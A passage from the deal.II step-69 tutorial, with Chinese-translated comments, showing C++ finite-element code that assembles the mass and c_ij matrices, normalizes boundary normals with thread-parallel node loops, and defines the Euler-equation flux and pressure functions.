\"\u5168\u5c40\u5bf9\u8c61\"\uff08\u6bd4\u5982\u4e00\u4e2a\u672c\u5730\u62e5\u6709\u7684\u6216\u672c\u5730\u76f8\u5173\u7684\u77e2\u91cf\uff09\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u4e00\u4e2a <code>Tensor<1,problem_dimension></code>  \uff0c\u6700\u540e\u4e00\u4e2a\u53c2\u6570\u4ee3\u8868\u5168\u5c40\u5bf9\u8c61\u7684\u7d22\u5f15\u3002\u8fd9\u4e2a\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u5c06\u66f4\u65b0\u7684\u8282\u70b9\u503c\uff08\u5b58\u50a8\u4e3a <code>Tensor<1,problem_dimension></code> \uff09\u5199\u5165\u5168\u5c40\u5bf9\u8c61\u4e2d\u3002\n\n    template <std::size_t k, int k2> \n    DEAL_II_ALWAYS_INLINE inline void \n    scatter(std::array<LinearAlgebra::distributed::Vector<double>, k> &U, \n            const Tensor<1, k2> &                                      tensor, \n            const unsigned int                                         i) \n    { \n      static_assert(k == k2, \n                    \"The dimensions of the input arguments must agree\"); \n      for (unsigned int j = 0; j < k; ++j) \n        U[j].local_element(i) = tensor[j]; \n    } \n  } // namespace \n\n// \u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u5c06\u50a8\u5b58\u5728 <code>OfflineData</code> \u4e2d\u7684\u6240\u6709\u77e9\u9635\u96c6\u5408\u8d77\u6765\uff1a\u8d28\u91cf\u5206\u5f55 $m_i$ \uff0c\u77e2\u91cf\u503c\u77e9\u9635 $\\mathbf{c}_{ij}$ \u548c $\\mathbf{n}_{ij} = \\frac{\\mathbf{c}_{ij}}{|\\mathbf{c}_{ij}|}$ \uff0c\u4ee5\u53ca\u8fb9\u754c\u6cd5\u7ebf $\\boldsymbol{\\nu}_i$  \u3002\n\n// \u4e3a\u4e86\u5229\u7528\u7ebf\u7a0b\u5e76\u884c\u5316\uff0c\u6211\u4eec\u4f7f\u7528\u4e86 @ref threads \"\u591a\u5904\u7406\u5668\u7684\u5e76\u884c\u8ba1\u7b97 \"\u4e2d\u8be6\u8ff0\u7684WorkStream\u65b9\u6cd5\u6765\u8bbf\u95ee\u5171\u4eab\u5185\u5b58\u3002\u6309\u7167\u60ef\u4f8b\uff0c\u8fd9\u9700\u8981\u5b9a\u4e49 \n\n// - \u6293\u53d6\u6570\u636e\uff08\u5373\u8fdb\u884c\u8ba1\u7b97\u6240\u9700\u7684\u8f93\u5165\u4fe1\u606f\uff09\uff1a\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u5b83\u662f  <code>scratch_data</code>  \u3002\n\n// - \u5de5\u4f5c\u8005\uff1a\u5728\u6211\u4eec\u7684\u4f8b\u5b50\u4e2d\uff0c\u8fd9\u662f\u4e00\u4e2a <code>local_assemble_system()</code> \u51fd\u6570\uff0c\u5b83\u5b9e\u9645\u4e0a\u662f\u4ece\u6293\u53d6\u6570\u636e\u4e2d\u8ba1\u7b97\u51fa\u672c\u5730\uff08\u5373\u5f53\u524d\u5355\u5143\uff09\u8d21\u732e\u3002\n\n// - \u62f7\u8d1d\u6570\u636e\uff1a\u4e00\u4e2a\u5305\u542b\u6240\u6709\u672c\u5730\u88c5\u914d\u8d21\u732e\u7684\u7ed3\u6784\uff0c\u5728\u8fd9\u91cc\u662f  <code>CopyData<dim>()</code>  \u3002\n\n// - \u4e00\u4e2a\u62f7\u8d1d\u6570\u636e\u7684\u7a0b\u5e8f\uff1a\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u5b83\u662f <code>copy_local_to_global()</code> \uff0c\u8d1f\u8d23\u5c06\u8fd9\u4e9b\u5c40\u90e8\u8d21\u732e\u5b9e\u9645\u590d\u5236\u5230\u5168\u5c40\u5bf9\u8c61\uff08\u77e9\u9635\u548c/\u6216\u77e2\u91cf\uff09\u4e2d\u3002\n\n// \u4e0b\u9762\u7684\u5927\u90e8\u5206\u884c\u662f\u7528\u6765\u5b9a\u4e49\u5de5\u4f5c\u8005  <code>local_assemble_system()</code>  \u548c\u590d\u5236\u6570\u636e\u4f8b\u7a0b  <code>copy_local_to_global()</code>  \u7684\u3002\u5173\u4e8eWorkStream\u6846\u67b6\u6ca1\u6709\u592a\u591a\u53ef\u8bf4\u7684\uff0c\u56e0\u4e3a\u7edd\u5927\u591a\u6570\u7684\u60f3\u6cd5\u5728  step-9  \u3001  step-13  \u548c  step-32  \u7b49\u6587\u4ef6\u4e2d\u90fd\u6709\u5408\u7406\u7684\u8bb0\u8f7d\u3002\n\n// \u6700\u540e\uff0c\u5047\u8bbe $\\mathbf{x}_i$ \u662f\u8fb9\u754c\u4e0a\u7684\u4e00\u4e2a\u652f\u6301\u70b9\uff0c\uff08\u8282\u70b9\uff09\u6cd5\u7ebf\u5b9a\u4e49\u4e3a\u3002\n\n// \n// @f{align*}\n//  \\widehat{\\boldsymbol{\\nu}}_i \\dealcoloneq\n//   \\frac{\\int_{\\partial\\Omega} \\phi_i \\widehat{\\boldsymbol{\\nu}} \\,\n//   \\, \\mathrm{d}\\mathbf{s}}{\\big|\\int_{\\partial\\Omega} \\phi_i\n//   \\widehat{\\boldsymbol{\\nu}} \\, \\mathrm{d}\\mathbf{s}\\big|}\n//  @f}\n\n// \u6211\u4eec\u5c06\u9996\u5148\u8ba1\u7b97\u8fd9\u4e2a\u8868\u8fbe\u5f0f\u7684\u5206\u5b50\uff0c\u5e76\u5c06\u5176\u5b58\u50a8\u5728  <code>OfflineData<dim>::BoundaryNormalMap</code>  \u4e2d\u3002\u6211\u4eec\u5c06\u5728\u4e00\u4e2a\u540e\u7f6e\u5faa\u73af\u4e2d\u5bf9\u8fd9\u4e9b\u5411\u91cf\u8fdb\u884c\u5f52\u4e00\u5316\u5904\u7406\u3002\n\n  template <int dim> \n  void OfflineData<dim>::assemble() \n  { \n    lumped_mass_matrix = 0.; \n    norm_matrix        = 0.; \n    for (auto &matrix : cij_matrix) \n      matrix = 0.; \n    for (auto &matrix : nij_matrix) \n      matrix = 0.; \n\n    unsigned int dofs_per_cell = \n      discretization->finite_element.n_dofs_per_cell(); \n    unsigned int n_q_points = discretization->quadrature.size(); \n\n// \u4e0b\u9762\u662fWorkStream\u6240\u9700\u7684\u4ece\u52a8\u6570\u636e\u7684\u521d\u59cb\u5316\u8fc7\u7a0b\n\n    MeshWorker::ScratchData<dim> scratch_data( \n      discretization->mapping, \n      discretization->finite_element, \n      discretization->quadrature, \n      update_values | update_gradients | update_quadrature_points | \n        update_JxW_values, \n      discretization->face_quadrature, \n      update_normal_vectors | update_values | update_JxW_values); \n\n    { \n      TimerOutput::Scope scope( \n        computing_timer, \n        \"offline_data - assemble lumped mass matrix, and c_ij\"); \n\n      const auto local_assemble_system = // \n        [&](const typename DoFHandler<dim>::cell_iterator &cell, \n            MeshWorker::ScratchData<dim> &                 scratch, \n            CopyData<dim> &                                copy) { \n          copy.is_artificial = cell->is_artificial(); \n          if (copy.is_artificial) \n            return; \n\n          copy.local_boundary_normal_map.clear(); \n          copy.cell_lumped_mass_matrix.reinit(dofs_per_cell, dofs_per_cell); \n          for (auto &matrix : copy.cell_cij_matrix) \n            matrix.reinit(dofs_per_cell, dofs_per_cell); \n\n          const auto &fe_values = scratch.reinit(cell); \n\n          copy.local_dof_indices.resize(dofs_per_cell); \n          cell->get_dof_indices(copy.local_dof_indices); \n\n          std::transform(copy.local_dof_indices.begin(), \n                         copy.local_dof_indices.end(), \n                         copy.local_dof_indices.begin(), \n                         [&](types::global_dof_index index) { \n                           return partitioner->global_to_local(index); \n                         }); \n\n// \u6211\u4eec\u4ee5\u901a\u5e38\u7684\u65b9\u5f0f\u8ba1\u7b97\u51d1\u5408\u8d28\u91cf\u77e9\u9635\u9879 $m_i$ \u548c\u5411\u91cf $c_{ij}$ \u7684\u5c40\u90e8\u8d21\u732e\u3002\n\n          for (unsigned int q_point = 0; q_point < n_q_points; ++q_point) \n            { \n              const auto JxW = fe_values.JxW(q_point); \n\n              for (unsigned int j = 0; j < dofs_per_cell; ++j) \n                { \n                  const auto value_JxW = \n                    fe_values.shape_value(j, q_point) * JxW; \n                  const auto grad_JxW = fe_values.shape_grad(j, q_point) * JxW; \n\n                  copy.cell_lumped_mass_matrix(j, j) += value_JxW; \n\n                  for (unsigned int i = 0; i < dofs_per_cell; ++i) \n                    { \n                      const auto value = fe_values.shape_value(i, q_point); \n                      for (unsigned int d = 0; d < dim; ++d) \n                        copy.cell_cij_matrix[d](i, j) += value * grad_JxW[d]; \n\n                    } /* i */ \n\n\n                }     /* j */ \n\n\n            }         /* q */ \n\n\n\n// \u73b0\u5728\u6211\u4eec\u8981\u8ba1\u7b97\u8fb9\u754c\u6cd5\u7ebf\u3002\u8bf7\u6ce8\u610f\uff0c\u9664\u975e\u8be5\u5143\u7d20\u5728\u57df\u7684\u8fb9\u754c\u4e0a\u6709\u9762\uff0c\u5426\u5219\u4e0b\u9762\u7684\u5faa\u73af\u4e0d\u4f1a\u6709\u4ec0\u4e48\u4f5c\u7528\u3002\n\n          for (const auto f : cell->face_indices()) \n            { \n              const auto face = cell->face(f); \n              const auto id   = face->boundary_id(); \n\n              if (!face->at_boundary()) \n                continue; \n\n              const auto &fe_face_values = scratch.reinit(cell, f); \n\n              const unsigned int n_face_q_points = \n                fe_face_values.get_quadrature().size(); \n\n              for (unsigned int j = 0; j < dofs_per_cell; ++j) \n                { \n                  if (!discretization->finite_element.has_support_on_face(j, f)) \n                    continue; \n\n// \u6ce8\u610f\uff0c\"normal \"\u53ea\u4ee3\u8868\u5f62\u72b6\u51fd\u6570phi_j\u652f\u6301\u4e0b\u7684\u4e00\u4e2a\u9762\u7684\u8d21\u732e\u3002\u6240\u4ee5\u6211\u4eec\u4e0d\u80fd\u5728\u8fd9\u91cc\u5bf9\u8fd9\u4e2a\u5c40\u90e8\u8d21\u732e\u8fdb\u884c\u5f52\u4e00\u5316\u5904\u7406\uff0c\u6211\u4eec\u5fc5\u987b \"\u539f\u5c01\u4e0d\u52a8 \"\u5730\u63a5\u53d7\u5b83\uff0c\u5b58\u50a8\u5b83\u5e76\u5c06\u5b83\u4f20\u9012\u7ed9\u590d\u5236\u6570\u636e\u4f8b\u7a0b\u3002\u6b63\u786e\u7684\u5f52\u4e00\u5316\u9700\u8981\u5728\u8282\u70b9\u4e0a\u589e\u52a0\u4e00\u4e2a\u5faa\u73af\u3002\u8fd9\u5728\u4e0b\u9762\u7684\u590d\u5236\u51fd\u6570\u4e2d\u5b8c\u6210\u3002\n\n                  Tensor<1, dim> normal; \n                  if (id == Boundaries::free_slip) \n                    { \n                      for (unsigned int q = 0; q < n_face_q_points; ++q) \n                        normal += fe_face_values.normal_vector(q) * \n                                  fe_face_values.shape_value(j, q); \n                    } \n\n                  const auto index = copy.local_dof_indices[j]; \n\n                  Point<dim> position; \n                  for (const auto v : cell->vertex_indices()) \n                    if (cell->vertex_dof_index(v, 0) == \n                        partitioner->local_to_global(index)) \n                      { \n                        position = cell->vertex(v); \n                        break; \n                      } \n\n                  const auto old_id = \n                    std::get<1>(copy.local_boundary_normal_map[index]); \n                  copy.local_boundary_normal_map[index] = \n                    std::make_tuple(normal, std::max(old_id, id), position); \n                } \n            } \n        }; \n\n// \u6700\u540e\uff0c\u6211\u4eec\u6839\u636eWorkStream\u7684\u8981\u6c42\uff0c\u63d0\u4f9b\u4e00\u4e2acopy_local_to_global\u51fd\u6570\n\n      const auto copy_local_to_global = [&](const CopyData<dim> &copy) { \n        if (copy.is_artificial) \n          return; \n\n        for (const auto &it : copy.local_boundary_normal_map) \n          { \n            std::get<0>(boundary_normal_map[it.first]) += \n              std::get<0>(it.second); \n            std::get<1>(boundary_normal_map[it.first]) = \n              std::max(std::get<1>(boundary_normal_map[it.first]), \n                       std::get<1>(it.second)); \n            std::get<2>(boundary_normal_map[it.first]) = std::get<2>(it.second); \n          } \n\n        lumped_mass_matrix.add(copy.local_dof_indices, \n                               copy.cell_lumped_mass_matrix); \n\n        for (int k = 0; k < dim; ++k) \n          { \n            cij_matrix[k].add(copy.local_dof_indices, copy.cell_cij_matrix[k]); \n            nij_matrix[k].add(copy.local_dof_indices, copy.cell_cij_matrix[k]); \n          } \n      }; \n\n      WorkStream::run(dof_handler.begin_active(), \n                      dof_handler.end(), \n                      local_assemble_system, \n                      copy_local_to_global, \n                      scratch_data, \n                      CopyData<dim>()); \n    } \n\n// \u6b64\u65f6\u6211\u4eec\u5df2\u7ecf\u5b8c\u6210\u4e86 $m_i$ \u548c $\\mathbf{c}_{ij}$ \u7684\u8ba1\u7b97\uff0c\u4f46\u5230\u76ee\u524d\u4e3a\u6b62\uff0c\u77e9\u9635 <code>nij_matrix</code> \u53ea\u5305\u542b\u77e9\u9635 <code>cij_matrix</code> \u7684\u4e00\u4e2a\u526f\u672c\u3002\u8fd9\u4e0d\u662f\u6211\u4eec\u771f\u6b63\u60f3\u8981\u7684\uff1a\u6211\u4eec\u5fc5\u987b\u5bf9\u5176\u6761\u76ee\u8fdb\u884c\u6807\u51c6\u5316\u5904\u7406\u3002\u6b64\u5916\uff0c\u6211\u4eec\u8fd8\u6ca1\u6709\u586b\u5145\u77e9\u9635 <code>norm_matrix</code> \u7684\u6761\u76ee\uff0c\u5b58\u50a8\u5728\u6620\u5c04 <code>OfflineData<dim>::BoundaryNormalMap</code> \u4e2d\u7684\u5411\u91cf\u6ca1\u6709\u88ab\u5f52\u4e00\u5316\u3002\n\n// \u539f\u5219\u4e0a\uff0c\u8fd9\u53ea\u662f\u79bb\u7ebf\u6570\u636e\uff0c\u8fc7\u5ea6\u4f18\u5316\u5b83\u4eec\u7684\u8ba1\u7b97\u5e76\u6ca1\u6709\u4ec0\u4e48\u610f\u4e49\uff0c\u56e0\u4e3a\u5b83\u4eec\u7684\u6210\u672c\u4f1a\u5728\u6211\u4eec\u5c06\u8981\u4f7f\u7528\u7684\u8bb8\u591a\u65f6\u95f4\u6b65\u9aa4\u4e2d\u5f97\u5230\u644a\u9500\u3002\u7136\u800c\uff0c\u8ba1\u7b97/\u5b58\u50a8\u77e9\u9635 <code>norm_matrix</code> and the normalization of <code>nij_matrix</code> \u7684\u6761\u76ee\u662f\u8bf4\u660e\u7ebf\u7a0b\u5e76\u884c\u8282\u70b9\u5faa\u73af\u7684\u6700\u4f73\u65b9\u5f0f\u3002\n\n// \u6211\u4eec\u8981\u8bbf\u95ee\u7f51\u683c/\u7a00\u758f\u56fe\u4e2d\u7684\u6bcf\u4e2a\u8282\u70b9 $i$ \u3002\n\n// - \u5bf9\u4e8e\u6bcf\u4e00\u4e2a\u8fd9\u6837\u7684\u8282\u70b9\uff0c\u6211\u4eec\u8981\u8bbf\u95ee\u6bcf\u4e00\u4e2a $j$ \uff0c\u4ee5\u4fbf $\\mathbf{c}_{ij} \\not \\equiv 0$  \u3002\n\n// \u4ece\u4ee3\u6570\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u8fd9\u76f8\u5f53\u4e8e\uff1a\u8bbf\u95ee\u77e9\u9635\u4e2d\u7684\u6bcf\u4e00\u884c\uff0c\u5e76\u5bf9\u8fd9\u4e9b\u884c\u4e2d\u7684\u6bcf\u4e00\u884c\u5728\u5217\u4e0a\u6267\u884c\u5faa\u73af\u3002\u8282\u70b9\u5faa\u73af\u662f\u672c\u6559\u7a0b\u6b65\u9aa4\u7684\u4e00\u4e2a\u6838\u5fc3\u4e3b\u9898\uff08\u89c1\u4ecb\u7ecd\u4e2d\u7684\u4f2a\u4ee3\u7801\uff09\uff0c\u4f1a\u53cd\u590d\u51fa\u73b0\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u73b0\u5728\u662f\u4ecb\u7ecd\u5b83\u4eec\u7684\u6070\u5f53\u65f6\u673a\u3002\n\n// \u6211\u4eec\u6709\u7ebf\u7a0b\u5e76\u884c\u5316\u80fd\u529b parallel::apply_to_subranges() \uff0c\u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u6bd4WorkStream\u6846\u67b6\u66f4\u901a\u7528\u3002\u7279\u522b\u662f\uff0c parallel::apply_to_subranges() \u53ef\u4ee5\u7528\u4e8e\u6211\u4eec\u7684\u8282\u70b9\u5faa\u73af\u3002\u8fd9\u4e2a\u529f\u80fd\u9700\u8981\u56db\u4e2a\u8f93\u5165\u53c2\u6570\uff0c\u6211\u4eec\u8be6\u7ec6\u89e3\u91ca\u4e00\u4e0b\uff08\u9488\u5bf9\u6211\u4eec\u7684\u7ebf\u7a0b\u5e76\u884c\u8282\u70b9\u5faa\u73af\u7684\u5177\u4f53\u6848\u4f8b\uff09\u3002\n\n// - \u8fed\u4ee3\u5668  <code>indices.begin()</code>  \u6307\u5411\u4e00\u4e2a\u884c\u7d22\u5f15\u3002\n\n// - \u8fed\u4ee3\u5668 <code>indices.end()</code> \u6307\u5411\u4e00\u4e2a\u6570\u5b57\u4e0a\u66f4\u9ad8\u7684\u884c\u7d22\u5f15\u3002\n\n// - \u51fd\u6570 <code>on_subranges(i1,i2)</code> (where <code>i1</code> \u548c <code>i2</code> \u5728\u524d\u9762\u4e24\u4e2a\u5b50\u5f39\u4e2d\u5b9a\u4e49\u7684end\u548cbegin\u8fed\u4ee3\u5668\u6240\u8de8\u8d8a\u7684\u8303\u56f4\u5185\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5b50\u8303\u56f4\uff09\u5bf9\u8fd9\u4e2a\u5b50\u8303\u56f4\u5185\u7684\u6bcf\u4e2a\u8fed\u4ee3\u5668\u5e94\u7528\u4e00\u4e2a\u64cd\u4f5c\u3002\u6211\u4eec\u4e5f\u53ef\u4ee5\u628a <code>on_subranges</code> \u79f0\u4e3a \"\u5de5\u4f5c\u8005\"\u3002\n\n// - Grainsize\uff1a\u6bcf\u4e2a\u7ebf\u7a0b\u5904\u7406\u7684\u6700\u5c0f\u8fed\u4ee3\u5668\uff08\u5728\u672c\u4f8b\u4e2d\u4ee3\u8868\u884c\uff09\u7684\u6570\u91cf\u3002\u6211\u4eec\u51b3\u5b9a\u6700\u5c0f\u4e3a4096\u884c\u3002\n\n// \u4e00\u4e2a\u5c0f\u7684\u6ce8\u610f\u4e8b\u9879\u662f\uff0c\u63d0\u4f9b\u7ed9 parallel::apply_to_subranges() \u7684\u8fed\u4ee3\u5668 <code>indices.begin()</code> \u548c <code>indices.end()</code> \u5fc5\u987b\u662f\u968f\u673a\u8bbf\u95ee\u7684\u8fed\u4ee3\u5668\uff1a\u5728\u5185\u90e8\uff0c parallel::apply_to_subranges() \u5c06\u628a <code>indices.begin()</code> \u548c <code>indices.end()</code> \u8fed\u4ee3\u5668\u5b9a\u4e49\u7684\u8303\u56f4\u5206\u6210\u5b50\u8303\u56f4\uff08\u6211\u4eec\u5e0c\u671b\u80fd\u591f\u4ee5\u6052\u5b9a\u7684\u590d\u6742\u6027\u8bfb\u53d6\u8fd9\u4e9b\u5b50\u8303\u56f4\u7684\u4efb\u4f55\u6761\u76ee\uff09\u3002\u4e3a\u4e86\u63d0\u4f9b\u8fd9\u6837\u7684\u8fed\u4ee3\u5668\uff0c\u6211\u4eec\u6c42\u52a9\u4e8e std_cxx20::ranges::iota_view. \u3002\n\n// \u4e0b\u9762\u8fd9\u6bb5\u4ee3\u7801\u7684\u5927\u90e8\u5206\u662f\u7528\u6765\u5b9a\u4e49 \"\u5de5\u4f5c\u8005\" <code>on_subranges</code> \uff1a\u5373\u5728\u5b50\u8303\u56f4\u7684\u6bcf\u4e00\u884c\u5e94\u7528\u7684\u64cd\u4f5c\u3002\u7ed9\u5b9a\u4e00\u4e2a\u56fa\u5b9a\u7684 <code>row_index</code> \uff0c\u6211\u4eec\u8981\u8bbf\u95ee\u8fd9\u4e00\u884c\u7684\u6bcf\u4e00\u5217/\u6bcf\u4e00\u4e2a\u6761\u76ee\u3002\u4e3a\u4e86\u6267\u884c\u8fd9\u6837\u7684\u5217-\u5faa\u73af\uff0c\u6211\u4eec\u4f7f\u7528\u6807\u51c6\u5e93\u4e2d\u7684<a href=\"http:www.cplusplus.com/reference/algorithm/for_each/\"> std::for_each</a>\uff0c\u5176\u4e2d\u3002\n\n// -  <code>sparsity_pattern.begin(row_index)</code> \u7ed9\u6211\u4eec\u4e00\u4e2a\u8fed\u4ee3\u5668\uff0c\u4ece\u8be5\u884c\u7684\u7b2c\u4e00\u5217\u5f00\u59cb\u3002\n\n// -  <code>sparsity_pattern.end(row_index)</code> \u662f\u4e00\u4e2a\u6307\u5411\u8be5\u884c\u6700\u540e\u4e00\u5217\u7684\u8fed\u4ee3\u5668\u3002\n\n// -  `std::for_each` \u6240\u8981\u6c42\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570\u662f\u5e94\u7528\u4e8e\u8be5\u884c\u7684\u6bcf\u4e2a\u975e\u96f6\u6761\u76ee\uff08\u672c\u4f8b\u4e2d\u4e3alambda\u8868\u8fbe\u5f0f\uff09\u7684\u64cd\u4f5c\u3002\n\n// \u6211\u4eec\u6ce8\u610f\u5230\uff0c parallel::apply_to_subranges() \u5c06\u5bf9\u4e0d\u76f8\u4ea4\u7684\u884c\u96c6\uff08\u5b50\u884c\uff09\u8fdb\u884c\u64cd\u4f5c\uff0c\u6211\u4eec\u7684\u76ee\u6807\u662f\u5199\u5165\u8fd9\u4e9b\u884c\u4e2d\u3002\u7531\u4e8e\u6211\u4eec\u8981\u8fdb\u884c\u7684\u64cd\u4f5c\u7684\u7b80\u5355\u6027\u8d28\uff08\u6cd5\u7ebf\u7684\u8ba1\u7b97\u548c\u5b58\u50a8\uff0c\u4ee5\u53ca\u6761\u76ee $\\mathbf{c}_{ij}$ \u7684\u89c4\u8303\u5316\uff09\uff0c\u7ebf\u7a0b\u5728\u8bd5\u56fe\u5199\u540c\u4e00\u4e2a\u6761\u76ee\u65f6\u4e0d\u4f1a\u53d1\u751f\u51b2\u7a81\uff08\u6211\u4eec\u4e0d\u9700\u8981\u4e00\u4e2a\u8c03\u5ea6\u5668\uff09\u3002\n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"offline_data - compute |c_ij|, and n_ij\"); \n\n      const std_cxx20::ranges::iota_view<unsigned int, unsigned int> indices( \n        0, n_locally_relevant); \n\n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          for (const auto row_index : \n               std_cxx20::ranges::iota_view<unsigned int, unsigned int>(*i1, \n                                                                        *i2)) \n            { \n\n// \u7b2c\u4e00\u4e2a\u5217\u5faa\u73af\uff1a\u6211\u4eec\u8ba1\u7b97\u5e76\u5b58\u50a8\u77e9\u9635norm_matrix\u7684\u6761\u76ee\uff0c\u5e76\u5c06\u5f52\u4e00\u5316\u7684\u6761\u76ee\u5199\u5165\u77e9\u9635nij_matrix\u4e2d\u3002\n\n              std::for_each( \n                sparsity_pattern.begin(row_index), \n                sparsity_pattern.end(row_index), \n                [&](const dealii::SparsityPatternIterators::Accessor &jt) { \n                  const auto   c_ij = gather_get_entry(cij_matrix, &jt); \n                  const double norm = c_ij.norm(); \n\n                  set_entry(norm_matrix, &jt, norm); \n                  for (unsigned int j = 0; j < dim; ++j) \n                    set_entry(nij_matrix[j], &jt, c_ij[j] / norm); \n                }); \n            } \n        }; \n\n      parallel::apply_to_subranges(indices.begin(), \n                                   indices.end(), \n                                   on_subranges, \n                                   4096); \n\n// \u6700\u540e\uff0c\u6211\u4eec\u5bf9\u5b58\u50a8\u5728  <code>OfflineData<dim>::BoundaryNormalMap</code>  \u4e2d\u7684\u5411\u91cf\u8fdb\u884c\u89c4\u8303\u5316\u3002\u8fd9\u4e2a\u64cd\u4f5c\u6ca1\u6709\u88ab\u7ebf\u7a0b\u5e76\u884c\u5316\uff0c\u56e0\u4e3a\u5b83\u65e2\u4e0d\u80fd\u8bf4\u660e\u4efb\u4f55\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u4e5f\u4e0d\u80fd\u5e26\u6765\u4efb\u4f55\u660e\u663e\u7684\u901f\u5ea6\u63d0\u5347\u3002\n\n      for (auto &it : boundary_normal_map) \n        { \n          auto &normal = std::get<0>(it.second); \n          normal /= (normal.norm() + std::numeric_limits<double>::epsilon()); \n        } \n    } \n  } \n\n// \u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u5df2\u7ecf\u5f88\u597d\u5730\u5b8c\u6210\u4e86\u4e0e\u79bb\u7ebf\u6570\u636e\u6709\u5173\u7684\u4e8b\u60c5\u3002\n\n//  @sect4{Equation of state and approximate Riemann solver}  \n\n// \u5728\u8fd9\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u63cf\u8ff0\u4e86 <code>ProblemDescription</code> \u7c7b\u7684\u6210\u5458\u7684\u5b9e\u73b0\u3002\u8fd9\u91cc\u7684\u5927\u90e8\u5206\u4ee3\u7801\u90fd\u662f\u9488\u5bf9\u5177\u6709\u7406\u60f3\u6c14\u4f53\u5b9a\u5f8b\u7684\u53ef\u538b\u7f29\u6b27\u62c9\u65b9\u7a0b\u7684\u3002\u5982\u679c\u6211\u4eec\u60f3\u628a step-69 \u91cd\u65b0\u7528\u4e8e\u4e0d\u540c\u7684\u5b88\u6052\u5b9a\u5f8b\uff08\u4f8b\u5982\uff1a\u6d45\u6c34\u65b9\u7a0b\uff09\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7c7b\u7684\u5927\u90e8\u5206\u5b9e\u73b0\u5c31\u5fc5\u987b\u6539\u53d8\u3002\u4f46\u662f\u5176\u4ed6\u5927\u90e8\u5206\u7684\u7c7b\uff08\u5c24\u5176\u662f\u90a3\u4e9b\u5b9a\u4e49\u5faa\u73af\u7ed3\u6784\u7684\u7c7b\uff09\u5c06\u4fdd\u6301\u4e0d\u53d8\u3002\n\n// \u6211\u4eec\u9996\u5148\u5b9e\u73b0\u4e00\u4e9b\u5c0f\u7684\u6210\u5458\u51fd\u6570\u6765\u8ba1\u7b97 <code>momentum</code>, <code>internal_energy</code> \u3001 <code>pressure</code>, <code>speed_of_sound</code> \u548c\u7cfb\u7edf\u7684\u901a\u91cf <code>f</code> \u3002\u8fd9\u4e9b\u51fd\u6570\u4e2d\u7684\u6bcf\u4e00\u4e2a\u7684\u529f\u80fd\u90fd\u53ef\u4ee5\u4ece\u5b83\u4eec\u7684\u540d\u5b57\u4e2d\u4e0d\u96be\u770b\u51fa\u3002\n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline Tensor<1, dim> \n  ProblemDescription<dim>::momentum(const state_type &U) \n  { \n    Tensor<1, dim> result; \n    std::copy_n(&U[1], dim, &result[0]); \n    return result; \n  } \n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline double \n  ProblemDescription<dim>::internal_energy(const state_type &U) \n  { \n    const double &rho = U[0]; \n    const auto    m   = momentum(U); \n    const double &E   = U[dim + 1]; \n    return E - 0.5 * m.norm_square() / rho; \n  } \n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline double \n  ProblemDescription<dim>::pressure(const state_type &U) \n  { \n    return (gamma - 1.) * internal_energy(U); \n  } \n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline double \n  ProblemDescription<dim>::speed_of_sound(const state_type &U) \n  { \n    const double &rho = U[0]; \n    const double  p   = pressure(U); \n\n    return std::sqrt(gamma * p / rho); \n  } \n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline typename ProblemDescription<dim>::flux_type \n  ProblemDescription<dim>::flux(const state_type &U) \n  { \n    const double &rho = U[0]; \n    const auto    m   = momentum(U); \n    const auto    p   = pressure(U); \n    const double &E   = U[dim + 1]; \n\n    flux_type result; \n\n    result[0] = m; \n    for (unsigned int i = 0; i < dim; ++i) \n      { \n        result[1 + i] = m * m[i] / rho; \n        result[1 + i][i] += p; \n      } \n    result[dim + 1] = m / rho * (E + p); \n\n    return result; \n  } \n\n// \u73b0\u5728\u6211\u4eec\u8ba8\u8bba  $\\lambda_{\\text{max}} (\\mathbf{U}_i^{n},\\mathbf{U}_j^{n}, \\textbf{n}_{ij})$  \u7684\u8ba1\u7b97\u3002\u9ece\u66fc\u95ee\u9898\u7684\u6700\u5927\u6ce2\u901f\u7684\u5c16\u9510\u4e0a\u754c\u7684\u5206\u6790\u548c\u63a8\u5bfc\u662f\u4e00\u4e2a\u975e\u5e38\u6280\u672f\u6027\u7684\u5de5\u4f5c\uff0c\u6211\u4eec\u4e0d\u80fd\u5728\u672c\u6559\u7a0b\u4e2d\u5bf9\u5176\u8fdb\u884c\u9ad8\u7ea7\u8ba8\u8bba\u3002\u5728\u8fd9\u90e8\u5206\u6587\u6863\u4e2d\uff0c\u6211\u4eec\u5c06\u4ec5\u9650\u4e8e\u7b80\u8ff0\u6211\u4eec\u5b9e\u73b0\u51fd\u6570\u7684\u4e3b\u8981\u529f\u80fd\uff0c\u5e76\u6307\u51fa\u5177\u4f53\u7684\u5b66\u672f\u53c2\u8003\u6587\u732e\uff0c\u4ee5\u5e2e\u52a9\uff08\u611f\u5174\u8da3\u7684\uff09\u8bfb\u8005\u8ffd\u6eaf\u8fd9\u4e9b\u60f3\u6cd5\u7684\u6765\u6e90\uff08\u548c\u9002\u5f53\u7684\u6570\u5b66\u8bc1\u660e\uff09\u3002\n\n// 